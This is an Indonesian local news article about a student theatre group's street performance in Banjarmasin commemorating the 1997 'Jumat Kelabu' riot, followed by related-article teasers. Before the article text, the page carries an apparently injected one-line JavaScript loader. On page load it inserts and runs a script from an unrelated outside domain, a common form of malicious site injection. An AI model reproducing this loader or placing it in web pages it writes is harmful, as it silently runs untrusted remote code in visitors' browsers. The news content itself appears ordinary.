(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Tepat 27 tahun lalu, pada 23 Mei 1997 kerusuhan pecah di pengujung era Orde Baru dikenal dengan “Jumat Kelabu” di pusat Kota Banjarmasin, Provinsi Kalimantan Selatan.
Kerusuhan yang terjadi di eks ibu kota Kalimantan Selatan menewaskan ratusan jiwa dan merusak banyak bangunan di kota Banjarmasin itu diperingati dengan cara beragam.
Sanggar Titian Barantai (STB) Uniska Banjarmasin memperingati dengan melakukan aksi teatrikal di titik-titik kerusuhan.
Rabu (22/5/2024) siang, para mahasiswa yang tergabung dalam STB Uniska Banjarmasin berjalan kaki dari gedung eks Mitra Plaza ke kawasan Pasar Sudimampir dan Masjid Noor di Jalan Pangeran Samudera.
Tepat di persimpangan jalan sekitar Pasar Sudimampir, anggota STB Uniska Banjarmasin melakukan aksi teatrikal.
Baca juga: Pedagang Pasar Lama Banjarmasin Diberi Peringatan Ketiga, Mundurkan Lapak dari Bahu Jalan
Semua peserta teatrikal berpakaian hitam dan muka mereka diwarnai hitam. Mereka menggambarkan suasana mencekam.
Beberapa kali secara serempak keluar suara dari mulut mereka “Kami Menjaga dan Berdoa”.
Sepanjang jalan, dua buah spanduk terus dibentangkan peserta aksi. Salah satu spanduk bertuliskan “Menolak Lupa Tragedi 23 Mei 1997”.
Baca juga: Pedagang Pasar Lama Banjarmasin Diberi Peringatan Ketiga, Mundurkan Lapak dari Bahu Jalan
Saat kembali eks Mitra Plaza, mereka lalu membagikan bunga mawar plastik kepada para pengendara yang lewat.
Muhammad Riko Fakhrurozi dari Sanggar Titian Barantai mengatakan, aksi mereka dalam rangka mengingat peristiwa kelam “Jumat Kelabu” yang terjadi di Kota Banjarmasin pada tanggal 23 Mei 1997.
Aksi yang dilakukan Anggota Sanggar S Titian Baranttai bukanlah yang pertama, hampir setiap tahun mereka melakukan aksi peringatan yang sama ditempat yang sama, yaitu sekitar eks Mitra Plaza dan Jalan Pangeran Samudera, dimana lokasi titik chaos “Jumat Kelabu” terjadi.
“Bukan membongkar luka lama, tapi kami hanya mengingatkan bahwa jangan sampai (Jumat Kelabu, red) ini terulang kembali,” kata Riko.
Baca juga: Berantas Narkoba Lewat Medsos, BNN Banjarbaru Bekali Penggiat P4GN Kelurahan
Masih kata Riko, selain sebagai aksi teatrikal dijalan umum yang dilakukan pihaknya juga untuk melatih mental anggota-anggota muda Sanggar Titian Barantai untuk percaya diri tampil dimasyarakat.
Aksi mengenang peristiwa Jumat Kelabu itu dijaga oleh aparat kepolisian dari Polreta Banjarmasin dan Polsek setempat. Aksi selesai dengan berjalan lancar, para peserta aksi membubarkan diri secara tertib. (Kanalkalimantan.com/rizki)
Reporter: rizki
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More
KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More
KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More
This website uses cookies.